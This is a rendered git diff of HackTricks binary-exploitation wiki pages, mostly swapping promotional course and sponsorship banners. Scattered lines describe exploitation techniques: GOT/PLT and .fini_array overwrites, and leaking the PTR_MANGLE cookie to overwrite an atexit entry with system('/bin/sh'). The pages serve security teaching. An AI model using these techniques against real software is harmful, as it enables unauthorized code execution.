Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Malloc Hook** ## **Malloc Hook**
@ -82,16 +83,17 @@ Now a **fast bin attack** is performed:
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
* [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). * [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md
View file

@ -1,18 +1,19 @@
# WWW2Exec - GOT/PLT # WWW2Exec - GOT/PLT
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **Basic Information** ## **Basic Information**
@ -98,16 +99,17 @@ The **Full RELRO** protection is meant to protect agains this kind of technique
* [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) * [https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite)
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook) * [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md
View file

@ -1,18 +1,19 @@
# WWW2Exec - .dtors & .fini\_array # WWW2Exec - .dtors & .fini\_array
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Other ways to support HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## .dtors ## .dtors
@ -69,16 +70,17 @@ In newer versions, even with [**Partial RELRO**] the section **`.fini_array`** i
{% endhint %} {% endhint %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/arbitrary-write-2-exec/www2exec-atexit.md
View file

@ -1,18 +1,19 @@
# WWW2Exec - atexit(), TLS Storage & Other mangled Pointers # WWW2Exec - atexit(), TLS Storage & Other mangled Pointers
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## **\_\_atexit Structures** ## **\_\_atexit Structures**
@ -251,16 +252,17 @@ It's possible to check the **`initial` structure** in a debugging session with G
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\ To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure). You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}

15
binary-exploitation/array-indexing.md
View file

@ -1,18 +1,19 @@
# Array Indexing # Array Indexing
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Basic Information ## Basic Information

30
binary-exploitation/basic-stack-binary-exploitation-methodology/README.md
View file

@ -1,18 +1,19 @@
# Basic Binary Exploitation Methodology # Basic Binary Exploitation Methodology
{% hint style="success" %}
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## ELF Basic Info ## ELF Basic Info
@ -120,16 +121,17 @@ Something to take into account is that usually **just one exploitation of a vuln
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses. * [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
* [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know * [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
View file

@ -1,16 +1,19 @@
# ELF Basic Information # ELF Basic Information
{% hint style="success" %}
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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</details> </details>
{% endhint %}
## Program Headers ## Program Headers
@ -403,14 +406,17 @@ Each variable will hace an entry in the TLS header specifying the size and the T
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
{% hint style="success" %}
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</details> </details>
{% endhint %}

30
binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md
View file

@ -1,18 +1,19 @@
# Exploiting Tools # Exploiting Tools
{% hint style="success" %}
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<details> <details>
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</details> </details>
{% endhint %}
## Metasploit ## Metasploit
@ -252,16 +253,17 @@ Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
![](<../../../.gitbook/assets/image (858).png>) ![](<../../../.gitbook/assets/image (858).png>)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md
View file

@ -1,18 +1,19 @@
# PwnTools # PwnTools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
``` ```
pip3 install pwntools pip3 install pwntools
@ -185,16 +186,17 @@ To update pwntools
pwn update pwn update
``` ```
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/README.md
View file

@ -1,18 +1,19 @@
# Common Binary Exploitation Protections & Bypasses # Common Binary Exploitation Protections & Bypasses
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Enable Core files ## Enable Core files
@ -44,16 +45,17 @@ gdb /path/to/executable /path/to/core_file
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash. This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
View file

@ -1,18 +1,19 @@
# ASLR # ASLR
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -315,16 +316,17 @@ Note therefore how it might be possible to **bypass ASLR abusing the vdso** if t
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md) [ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
{% endcontent-ref %} {% endcontent-ref %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

30
binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md
View file

@ -1,18 +1,19 @@
# Ret2plt # Ret2plt
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Basic Information ## Basic Information
@ -92,16 +93,17 @@ p.interactive()
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html) * [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
